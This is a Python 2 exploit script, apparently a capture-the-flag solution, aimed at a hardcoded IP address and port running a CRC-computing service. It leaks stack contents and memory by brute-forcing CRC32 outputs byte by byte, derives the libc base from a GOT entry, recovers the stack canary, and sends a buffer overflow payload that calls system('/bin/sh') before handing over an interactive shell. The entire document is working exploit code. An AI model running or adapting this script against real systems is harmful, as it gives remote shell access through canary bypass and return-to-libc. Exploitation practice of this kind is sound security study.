crc-exploit.py

import socket, struct, os, binascii, base64, zlib
import telnetlib   

def readline(sc, show = True):
    res = ""
    while len(res) == 0 or res[-1] != "\n":
        data = sc.recv(1)
        if len(data) == 0:
            print repr(res)
            raise Exception("Server disconnected")
        res += data
        
    if show:
        print repr(res[:-1])
    return res[:-1]

def read_until(sc, s):
    res = ""
    while not res.endswith(s):
        data = sc.recv(1)
        if len(data) == 0:
            print repr(res)
            raise Exception("Server disconnected")
        res += data
        
    return res[:-(len(s))]
    
def read_all(sc, n):
    data = ""
    while len(data) < n:
        block = sc.recv(n - len(data))
        if len(block) == 0:
            print repr(data)
            raise Exception("Server disconnected")
        data += block

    return data

def I(n):
    return struct.pack("<I", n)
    
def Q(n):
    return struct.pack("<Q", n)

def dump_random_stackstuff(sc):
    for i in xrange(0x63):
        sc.send("1\n" + str(i+1) + "\n" + "x" * 0x64 + "\n")
        
    sofar = ""
    for i in xrange(0x63):
        read_until(sc, "CRC is: 0x")
        crc = int(read_until(sc, "\n"), 16)

        for j in xrange(256):
            t = zlib.crc32(sofar + chr(j)) & 0xffffffff
            if t == crc:
                sofar += chr(j)
                break

    return sofar

def dump_memory(sc, addr):
    for i in xrange(0x40):
        sc.send("1\n" + str(i+1) + "\n" + "/bin/sh\x00".rjust(0x64, "x") + struct.pack("<I", addr) + "\n")

    sofar = ""
    for i in xrange(0x40):
        read_until(sc, "CRC is: 0x")
        crc = int(read_until(sc, "\n"), 16)

        for j in xrange(256):
            t = zlib.crc32(sofar + chr(j)) & 0xffffffff
            if t == crc:
                sofar += chr(j)
                break

    return sofar
        
sc = socket.create_connection(("69.90.132.40", 4002))

stackstuff = dump_random_stackstuff(sc)

for i in xrange(0, len(stackstuff) - 4, 4):
    addr = struct.unpack("<I", stackstuff[i:i+4])[0]
    if addr >> 24 in (0xff, 0xfe):
        probable_stack = addr & 0xffffff00
        
block = dump_memory(sc, 0x08049FFC)
addr_atoi = struct.unpack("<I", block[0:4])[0]
addr_libc = addr_atoi - 0x0002D050
print hex(addr_libc)
    
while True:
    block = dump_memory(sc, probable_stack)
    print hex(probable_stack), len(block), repr(block)
    if "/bin/sh\x00" + struct.pack("<I", probable_stack) in block:
        canary = block.split("/bin/sh\x00" + struct.pack("<I", probable_stack))[1][0:4]
        binsh_addr = probable_stack + block.index("/bin/sh\x00")
        break
    probable_stack += 0x40
    
print binascii.b2a_hex(canary)
print hex(binsh_addr)

sc.send(canary * 11 + "AAAABBBBCCCC" + I(addr_libc + 0x0003A940) + I(0) + I(binsh_addr) + "\n")

print "interactive"

t = telnetlib.Telnet()                                                  
t.sock = sc
t.interact()  

while True:
    data = sc.recv(16384)
    if len(data) == 0:
        break
    for line in data.split("\n"):
        print repr(line)